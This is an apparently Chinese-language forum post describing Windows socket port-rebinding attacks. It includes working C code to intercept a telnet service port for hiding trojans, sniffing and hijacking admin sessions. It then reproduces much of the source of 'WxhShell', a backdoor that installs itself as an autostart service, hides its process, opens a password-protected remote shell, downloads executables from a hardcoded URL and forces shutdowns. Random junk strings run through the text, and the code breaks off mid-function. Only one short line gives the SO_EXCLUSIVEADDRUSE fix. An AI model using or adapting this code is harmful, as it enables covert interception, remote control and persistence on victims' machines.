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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N83c+vs%c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yeqH eZ  
! n13B  
  saddr.sin_family = AF_INET; xka&,`z  
H=v=)cUe[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $1}Y4>3  
7X`]}z4g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !THa?U;  
c%@< h6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ssg1p#0J  
bAS/cuZs  
  这意味着什么?意味着可以进行如下的攻击: Jy?; <  
?8]g&V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q"F" 13  
8]j*z n?,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3}kG ]#  
q@[UeXu?pZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c.4WwzK  
IF'Tj`yD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o'J^kd`  
(j?ckah%V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v@ifB I  
JpE7"Z"~MS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hAU@}"=G  
34<k)0sO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y/>IF|aX  
\zLKSJ]  
  #include [PX%p ;"D  
  #include nAaY5s0D  
  #include CWY-}M  
  #include    buKSZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]e6$ ={  
  int main() Q4ZKgcC  
  { @id!F<+%oD  
  WORD wVersionRequested; H;{IOBo  
  DWORD ret; GUn$IPOM  
  WSADATA wsaData; B]u!BBjC  
  BOOL val; ,{2= nb[  
  SOCKADDR_IN saddr; -an~&C5\  
  SOCKADDR_IN scaddr; sWv!ig_  
  int err; ke b.%cb=  
  SOCKET s; 9 iV_  
  SOCKET sc; t$z 5m<8  
  int caddsize; pS+hE4D  
  HANDLE mt; Te2 C<c  
  DWORD tid;   (tvfF0~  
  wVersionRequested = MAKEWORD( 2, 2 ); ~$d(@T&  
  err = WSAStartup( wVersionRequested, &wsaData ); N$N 7aE$  
  if ( err != 0 ) { %E2V$l0  
  printf("error!WSAStartup failed!\n"); d.$0X/0  
  return -1; Q8D#kAYw  
  } _E2W%N  
  saddr.sin_family = AF_INET; %>- ?oor  
   M$s9   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EGVS8YP>h  
LK+67Y{25  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @{{6Nd5  
  saddr.sin_port = htons(23); >S>B tR l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tUi@'%>=5  
  { XaF;IS@A  
  printf("error!socket failed!\n"); ~,7Tj  
  return -1; %>!W+rO,  
  } J p)I9k,Ez  
  val = TRUE; *i>hFNLdOM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NA=m<n#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4*'ZabDD  
  { J,:Wv`N:9~  
  printf("error!setsockopt failed!\n"); 4s 6,`-  
  return -1; 4JRQ=T|P7I  
  } 2Mu@P8O&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9Ed=`c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -ImV Xy]?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jo' V.]\  
upnX7as  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OlP1Zd/l  
  { tyFsnc k  
  ret=GetLastError(); 3  $a;  
  printf("error!bind failed!\n"); 1`GW>ZKv  
  return -1; DE+k'8\T  
  } UCj{ &  
  listen(s,2); fp}5QUm-  
  while(1) @r=,: 'Mt  
  { 5mX^{V&^  
  caddsize = sizeof(scaddr); WO6R04+WV  
  //接受连接请求 ;3XOk+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6)c-s|#  
  if(sc!=INVALID_SOCKET) re4A5Ev$  
  { p'A43  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wLzV#8>  
  if(mt==NULL) VTwQD"oB  
  { !j%u wje\  
  printf("Thread Creat Failed!\n"); U/-k'6=M  
  break; KL./  
  } |K" nSXzk  
  } 2 fg P  
  CloseHandle(mt); p-xG&CU  
  } +8Y|kC{9"  
  closesocket(s); g7{:F\S  
  WSACleanup(); dQ_hlx!J  
  return 0; C3'?E<F  
  }   izzX$O[=:  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tgl >  
  { PS8^=  
  SOCKET ss = (SOCKET)lpParam; AH-BZ8  
  SOCKET sc; \OXQ%J2v  
  unsigned char buf[4096]; ]( FFvqA  
  SOCKADDR_IN saddr; @,9YF }  
  long num; Z/T( 4  
  DWORD val; KciN"g|X  
  DWORD ret; |h&Z.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yb,X }"Et  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vR&b2G7o  
  saddr.sin_family = AF_INET;  !# zO%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~~=]_lwyK%  
  saddr.sin_port = htons(23); eV~"T2!Sb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %C rTO(  
  { BwrX.!M  
  printf("error!socket failed!\n"); n5z|@I`S_  
  return -1; M2\c0^R  
  } I E{:{b\  
  val = 100; \}~71y}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 34Cnbtq^  
  { P&Uj?et"  
  ret = GetLastError(); )x~ /qHt  
  return -1; %w?C)$Kn\  
  } j^WYM r,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :5BCW68le  
  { fjy7gC2  
  ret = GetLastError(); [jksOC)@4  
  return -1; 9s*QHCB0  
  }  Q7-iy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !l]_c 5  
  { yZN~A:  
  printf("error!socket connect failed!\n"); !K0 U..  
  closesocket(sc); i]OEhB Y  
  closesocket(ss); ANgt\8  
  return -1; P)#h4|xZ  
  } n/x((d%"E  
  while(1) /='Q-`?9  
  { 81C;D`!K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?z2!?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {3.n!7+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CRD=7\0(D+  
  num = recv(ss,buf,4096,0); Ql%B=vgKL  
  if(num>0) UNK.39  
  send(sc,buf,num,0); Nukyvse  
  else if(num==0) V]GF53D  
  break; ^tjw }sE  
  num = recv(sc,buf,4096,0); SUv'cld  
  if(num>0) I9Uj3cL\  
  send(ss,buf,num,0); (z8 ;J> 7  
  else if(num==0) QBGjH^kL  
  break; I~^Xw7  
  } !XM<`H/  
  closesocket(ss); uE<8L(*B  
  closesocket(sc); ^B%c3U$o  
  return 0 ; g"k4Z  
  } 2r ;h">  
a 9{:ot8,  
_aBy>=2c$  
========================================================== u! &T}i:  
5423Ky<  
下边附上一个代码,,WXhSHELL l~w^I|M^C  
seRf q&  
========================================================== /.=aA~|  
@56*r@4:q  
#include "stdafx.h" 6yO5{._M  
~( 0bqt3c  
#include <stdio.h> u{h67N  
#include <string.h> D9NQ3[R 9  
#include <windows.h> 5gII|8>rQ  
#include <winsock2.h> mRm}7p  
#include <winsvc.h> oK 7:e~  
#include <urlmon.h> DA04llX~  
5!cp^[rGL  
#pragma comment (lib, "Ws2_32.lib") Sc#3<nVg  
#pragma comment (lib, "urlmon.lib") @}:E{J#g  
RwYFBc  
#define MAX_USER   100 // 最大客户端连接数 4/k`gT4  
#define BUF_SOCK   200 // sock buffer &3;"$P  
#define KEY_BUFF   255 // 输入 buffer D~BL Txq  
g4W/T  
#define REBOOT     0   // 重启 H(tC4'tA  
#define SHUTDOWN   1   // 关机 )QRT/, ;c  
}mzd23^W>P  
#define DEF_PORT   5000 // 监听端口 idGn{f((f  
s^SU6P/ ]  
#define REG_LEN     16   // 注册表键长度 "(vK.-T  
#define SVC_LEN     80   // NT服务名长度 Z^z{, u;!  
2~l7WW+lx,  
// 从dll定义API F_9 4k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k52IvB@2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PH%'^YAl7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #ACT&J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'RhS%l  
Jwfb%Xge~  
// wxhshell配置信息 %8h=_(X\7  
struct WSCFG {  <7SE|  
  int ws_port;         // 监听端口 I.G[|[. Do  
  char ws_passstr[REG_LEN]; // 口令 HA,8O [jon  
  int ws_autoins;       // 安装标记, 1=yes 0=no iETUBZ  
  char ws_regname[REG_LEN]; // 注册表键名 h#KSKKNW  
  char ws_svcname[REG_LEN]; // 服务名 bmK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1#%H!GKvTU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ot[ZFF\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AIY 1sSK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c*.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LT o5v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F8dr-"G  
8>W52~^fU  
}; Du65>O  
8h }a:/  
// default Wxhshell configuration *~shvtq  
struct WSCFG wscfg={DEF_PORT, U#S-x5Gn  
    "xuhuanlingzhe", r5ldK?=k+*  
    1, [DDe}D3C  
    "Wxhshell", /RMtCa~  
    "Wxhshell", 4v |i\V>M  
            "WxhShell Service", D!! B4zt  
    "Wrsky Windows CmdShell Service", A&p@iE*/  
    "Please Input Your Password: ", [5!}+8]W  
  1, KXDnhV f  
  "http://www.wrsky.com/wxhshell.exe", 3<"j/9;K'  
  "Wxhshell.exe" @&`^#pok  
    }; w8R7Ksn(  
gd]S;<Jh  
// 消息定义模块 HcJ!(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o$l8"Uv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =0] K(p,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y6tqemz  
char *msg_ws_ext="\n\rExit."; yP"}(!~m  
char *msg_ws_end="\n\rQuit."; |;xEK nF  
char *msg_ws_boot="\n\rReboot..."; JbL3/h]  
char *msg_ws_poff="\n\rShutdown..."; s R>>l3H  
char *msg_ws_down="\n\rSave to "; f S/:OnH  
M>Tg$^lm  
char *msg_ws_err="\n\rErr!"; }2LWDQ;po  
char *msg_ws_ok="\n\rOK!"; % &&)[  
}4!}vkVx  
char ExeFile[MAX_PATH]; !j`<iPI7B  
int nUser = 0; UkpTK8>&  
HANDLE handles[MAX_USER]; *]NfT}}  
int OsIsNt; "_\"S  
6vAZLNG3  
SERVICE_STATUS       serviceStatus; X/cb1#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BJb,  
&V$cwB  
// 函数声明 h&CZN !  
int Install(void); ~!~i_L\V  
int Uninstall(void); u&uFXOc'  
int DownloadFile(char *sURL, SOCKET wsh); &g&,~Y/z;  
int Boot(int flag); JygJ4RI%j  
void HideProc(void); {l!{b1KJ  
int GetOsVer(void); j0~am,yZ  
int Wxhshell(SOCKET wsl); jT$J~M pHh  
void TalkWithClient(void *cs); 6xtgnl#T  
int CmdShell(SOCKET sock); uA[ :  
int StartFromService(void); TP {\V>*Yz  
int StartWxhshell(LPSTR lpCmdLine); ^.iRU'{  
RV_I&HD!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2( 0%{*m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1E / G+pm  
1uN;JN `_  
// 数据结构和表定义 (}6\_k[}m  
SERVICE_TABLE_ENTRY DispatchTable[] = MnqT?Cc4$j  
{ gBh X=2%  
{wscfg.ws_svcname, NTServiceMain}, zJW2F_  
{NULL, NULL} f~\H|E8(  
}; w^ z ftm  
:%J;[bS+  
// 自我安装 \By_mw  
int Install(void) mY/"rm  
{ Q"~%T@e  
  char svExeFile[MAX_PATH]; oF>`>  
  HKEY key; Z81;Y=(  
  strcpy(svExeFile,ExeFile); 9/e>%1.  
 c`\/]  
// 如果是win9x系统,修改注册表设为自启动 ]tT=jN&(  
if(!OsIsNt) { 4]tg!ks  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { og35Vs0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =|aZNHqH  
  RegCloseKey(key); `<d.I%}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G^nG^HTo5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^gx~{9`RR  
  RegCloseKey(key); xBc|rqge  
  return 0; -O?HfQ  
    } C F','gPnc  
  } N8At N\e  
} IMbF]6%p(  
else { 5o 5DG  
=cS5f#0  
// 如果是NT以上系统,安装为系统服务 "GZ}+K*GG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  %V ]v,  
if (schSCManager!=0) h M7 SGEV  
{ 9#P~cW?  
  SC_HANDLE schService = CreateService y7:f^4  
  ( K/Yeh<_&  
  schSCManager, ![ce }  
  wscfg.ws_svcname, y[.lfW?)  
  wscfg.ws_svcdisp, EGqu-WBS  
  SERVICE_ALL_ACCESS, z-kv{y*Hu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s<#BxN  
  SERVICE_AUTO_START, h7fytO  
  SERVICE_ERROR_NORMAL, |3E|VGm~  
  svExeFile, N}%AUm/L  
  NULL, *j]Bo,AC  
  NULL, AQ(n?1LU  
  NULL, 2IW!EUR  
  NULL, 0]*W0#{Zj  
  NULL $t^Td<  
  ); Ewr2popK  
  if (schService!=0) kI!@J6  
  { ~!mY0odH  
  CloseServiceHandle(schService); v{|y,h&]a  
  CloseServiceHandle(schSCManager); CSoVB[vS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OAs>F"  
  strcat(svExeFile,wscfg.ws_svcname); z(Uz<*h8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iOEBjj;C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :3R3 >o6m  
  RegCloseKey(key); O>h h  
  return 0; 0lniu=xmQ-  
    } ~D}fy  
  } C}<e3BXc  
  CloseServiceHandle(schSCManager); D=z="p\  
} ]!sCWR  
} 6?%$e$s  
F%$q]J[  
return 1; K<::M3eQ  
} dF 6od  
*q=\ e9  
// 自我卸载 7J5jf231  
int Uninstall(void) eDP&W$s#  
{ 12'MzIsU's  
  HKEY key; ; % KS?;%[  
\F`>zY2$%  
if(!OsIsNt) { F7jkl4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~E8/m_> rU  
  RegDeleteValue(key,wscfg.ws_regname); f?=0Wzb  
  RegCloseKey(key); m%})H"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /~WBqcl  
  RegDeleteValue(key,wscfg.ws_regname); z7XI`MZN^  
  RegCloseKey(key); l3^'bp6HQ  
  return 0; 0iM'),v[]  
  } ^ op0" #B  
} HU/4K7e`  
} bXOM=T  
else { eP:\\; ;  
q1L>nvE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Bc3| `K1v  
if (schSCManager!=0) V >eG\  
{ b|k^   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #W/Ch"Kv  
  if (schService!=0) <m~8pM  
  { <5j%!6zo  
  if(DeleteService(schService)!=0) { }jC^&%|  
  CloseServiceHandle(schService); MtPdpm6\  
  CloseServiceHandle(schSCManager); > r(`4M:  
  return 0; _i7yyt;h  
  } Z?qLn6y1W  
  CloseServiceHandle(schService); 1>\V>g9  
  } |ITCw$T  
  CloseServiceHandle(schSCManager); ^Tj{}<yT  
} 4zhh **]B  
} eB9&HD:  
zBq&/?  
return 1; N.Q}.(N0  
} ~e hN%-  
A:y^9+Da  
// 从指定url下载文件 j~.tyxOq#  
int DownloadFile(char *sURL, SOCKET wsh) 0S>L0qp  
{ J,:;\Xhl  
  HRESULT hr; CF-tod  
char seps[]= "/"; l?_Fy_fBt  
char *token; rrEf<A}  
char *file; 8EJP~bt  
char myURL[MAX_PATH]; |%|Vlu  
char myFILE[MAX_PATH]; x;:jF_  
& +k*+  
strcpy(myURL,sURL); /3hY[#e  
  token=strtok(myURL,seps); ?5B?P:=kl  
  while(token!=NULL) AFBWiuwI3  
  { fD\Fq'29{  
    file=token; J[uH@3v  
  token=strtok(NULL,seps); N}#"o  
  } icIWv  
\i-CTv6f  
GetCurrentDirectory(MAX_PATH,myFILE); -CFy   
strcat(myFILE, "\\"); ; }T+ImjA  
strcat(myFILE, file); 9dAtQwGR"6  
  send(wsh,myFILE,strlen(myFILE),0); `S-%}eUv  
send(wsh,"...",3,0); +!ljq~%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n,s 7!z/  
  if(hr==S_OK) 4,R"(ej  
return 0; *CQZ6&^  
else FAc^[~E  
return 1; n!SHExBp  
*]R5bj.!o  
} `Xeiz'~f8  
=E!Y f#p+q  
// 系统电源模块 cl4 _M{~  
int Boot(int flag) (`#z@,1  
{ :t "_I  
  HANDLE hToken; 9(!AKKrr;  
  TOKEN_PRIVILEGES tkp; X}x\n\Z  
%#&njP  
  if(OsIsNt) { t\YM Hq<Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +hispU3ia  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OXKV6r6f  
    tkp.PrivilegeCount = 1; d)Z&_v<|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o+XQMg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +rSU  
if(flag==REBOOT) { CSW+UaE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n`w]?bL  
  return 0; Pe\Obd8d  
} 2T?Y  
else { T fIOS]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v ?,@e5GZ  
  return 0; I][&*V1  
} !J@!2S 9  
  } 5#X R1#`  
  else { q7soV(P  
if(flag==REBOOT) { .$y'>O*$G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BAvz @H  
  return 0; o6~JAvw  
} \Z42EnJ  
else { `s UY$Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HIE8@Rv/3  
  return 0; R6;#+ 1D  
} z'1%%.r;FM  
} kc=Z6(=  
L$);50E  
return 1; |`o1B;lc  
} w8UUeF  
t18j2P>`  
// win9x进程隐藏模块 EVaHb;  
void HideProc(void) K*,,j\Q.  
{ ),Yk53G6c  
P?|\Ig1Gk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b$*2bSdv0<  
  if ( hKernel != NULL ) W|zPV`  
  { o_k)x3I?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r1vS~ 4Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |nLq 4.  
    FreeLibrary(hKernel); p"jze3mF  
  } i_r708ep6  
EN/t5d  
return; dy5}Jn%L  
} kn$_X4^?  
HRM-r~2:-]  
// 获取操作系统版本 -gt ?5H h  
int GetOsVer(void) oyk&]'>  
{ .b<W*4{j0H  
  OSVERSIONINFO winfo; :wg=H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <,/7:n  
  GetVersionEx(&winfo); z6d0Y$A G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %3t;[$n#  
  return 1; xHaz*w1|  
  else /2/aMF(J  
  return 0; 5=#d#dDc  
} emrA!<w!W  
p-EU"O  
// 客户端句柄模块 m||9,z-  
int Wxhshell(SOCKET wsl) %+|sbRBb  
{ G'w!Aw s  
  SOCKET wsh; ?)k ]Vg.  
  struct sockaddr_in client; \.H9e/vU`  
  DWORD myID; Z^4+ 88  
+O9x8OPHW  
  while(nUser<MAX_USER) ZbdGI@  
{ >D~8iuy]8.  
  int nSize=sizeof(client); hjFht+j1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @>~\So|  
  if(wsh==INVALID_SOCKET) return 1; HB}rpiB  
RU6c 8>"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sb8bCEm- \  
if(handles[nUser]==0) 7_)38  
  closesocket(wsh); MY c&  
else (F.w?f4B3  
  nUser++; #<e D  
  } yx4pQL7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g:y4C6b  
`0M6<e]C  
  return 0; k[a<KbS  
} ?(K=du  
y6[le*T  
// 关闭 socket ]plp.f#av  
void CloseIt(SOCKET wsh) Ab j7  
{ tQNrDp+  
closesocket(wsh); C3f\E: D)  
nUser--; ##xvuLy-6  
ExitThread(0); 3Os0<1@H  
} t[X^4bZd  
2;:p H3  
// 客户端请求句柄 iZeq l1O  
void TalkWithClient(void *cs) W,CAg7:*  
{ ' F9gp!s8~  
&<uLr *+*  
  SOCKET wsh=(SOCKET)cs; +YW;63"o  
  char pwd[SVC_LEN]; `#`jU"T|  
  char cmd[KEY_BUFF]; X~"p]V_  
char chr[1]; to&,d`k=-  
int i,j; {!qnHv\S  
~;Y Tz  
  while (nUser < MAX_USER) { X _@|+d  
$HQ4o\~  
if(wscfg.ws_passstr) { Ny/eYF#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v3M$UiN,:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . 43cI(  
  //ZeroMemory(pwd,KEY_BUFF); G bclu.4  
      i=0; . o /uA  
  while(i<SVC_LEN) { HZ Wt>f  
D^.  c:  
  // 设置超时 a*.#Zgy:lK  
  fd_set FdRead; 7[qL~BT+  
  struct timeval TimeOut; N5sVRL"7  
  FD_ZERO(&FdRead); GxG~J4  
  FD_SET(wsh,&FdRead); Tjrb.+cua  
  TimeOut.tv_sec=8; rEj[XK  
  TimeOut.tv_usec=0; )qbkKCq/FB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YMK ![ q-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u?dPCgs;h  
U 887@-!3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'xkl|P>=],  
  pwd=chr[0]; 7f ub^'_  
  if(chr[0]==0xd || chr[0]==0xa) { =IQ}Y_xr  
  pwd=0; BYM6cp+S  
  break; {9V.l.Q  
  } h ka_Fo  
  i++; HNBmq>XDc  
    } &b5(Su  
0^o/c SF  
  // 如果是非法用户,关闭 socket jED.0,+K !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;e5PoLc  
} T~Bj],k_  
u4SL:IH{D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EUcD[Rv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xt,Qn460;  
-mRgB"8  
while(1) { oU\7%gQ  
-q{N1? tcy  
  ZeroMemory(cmd,KEY_BUFF); g:JSy  
L98T!5)  
      // 自动支持客户端 telnet标准   ~).D\Q\  
  j=0; Q35\wQ#  
  while(j<KEY_BUFF) { p2t0 4p!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H2Wlgt  
  cmd[j]=chr[0]; 8^j~uH  
  if(chr[0]==0xa || chr[0]==0xd) { j+ -r(lZ  
  cmd[j]=0; J({D~  
  break; 0]c&K  
  } ll X `  
  j++; _Wg}#r  
    } 4^2>K C_  
Q9O_>mZy  
  // 下载文件 lm;hW&O9  
  if(strstr(cmd,"http://")) { !.mR]El{K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4l %W]'  
  if(DownloadFile(cmd,wsh)) Hh=fv~X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>]@w\]  
  else Wmcd{MOS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EC,`t*<  
  } *1`X}  
  else { b1 w@toc  
1s=Q~*f~d  
    switch(cmd[0]) { G)}[!'<rR  
  jD9u(qAlH  
  // 帮助 Y&O2;q/B  
  case '?': { &U]/SFY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <O'U-. Gc  
    break; d8jH?P-"  
  } b}0h ()v  
  // 安装 4y7_P0}:B  
  case 'i': { -]zb3P  
    if(Install()) nD*iSb*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWdF7|PN7  
    else 04|ZwX$>+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <.4(#Ebd  
    break; s~ 8 g  
    } 2Wluc37  
  // 卸载 Vl5>o$G|<.  
  case 'r': { Y#68_%[  
    if(Uninstall()) ; o_0~l=-/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hm'"I!jyO  
    else %w65)BFQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>sLb(2\i  
    break; <6 Rec^QF  
    } ANu>*  
  // 显示 wxhshell 所在路径 [h;I)ug[o(  
  case 'p': { \~%+)a%%  
    char svExeFile[MAX_PATH]; wX]$xZ!s  
    strcpy(svExeFile,"\n\r"); [d[w/@  
      strcat(svExeFile,ExeFile); 2'S&%UyP  
        send(wsh,svExeFile,strlen(svExeFile),0); pPRX#3  
    break; +8//mrL_/  
    } %`5 (SC].  
  // 重启 -GPBX?  
  case 'b': { iG6]Pr|;e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {HEWU<5  
    if(Boot(REBOOT)) R~oJ-} iYX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IXa~,a H71  
    else { *2a"2o  
    closesocket(wsh); l6HtZ(  
    ExitThread(0); ekyCZ8iai  
    } 3i!a\N4 K  
    break; Gr2}N"X=  
    } %BkE %ZcZ  
  // 关机 uKk#V6t#  
  case 'd': { 'D5J5+.z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :zKW[sF  
    if(Boot(SHUTDOWN)) 6J,h}S  
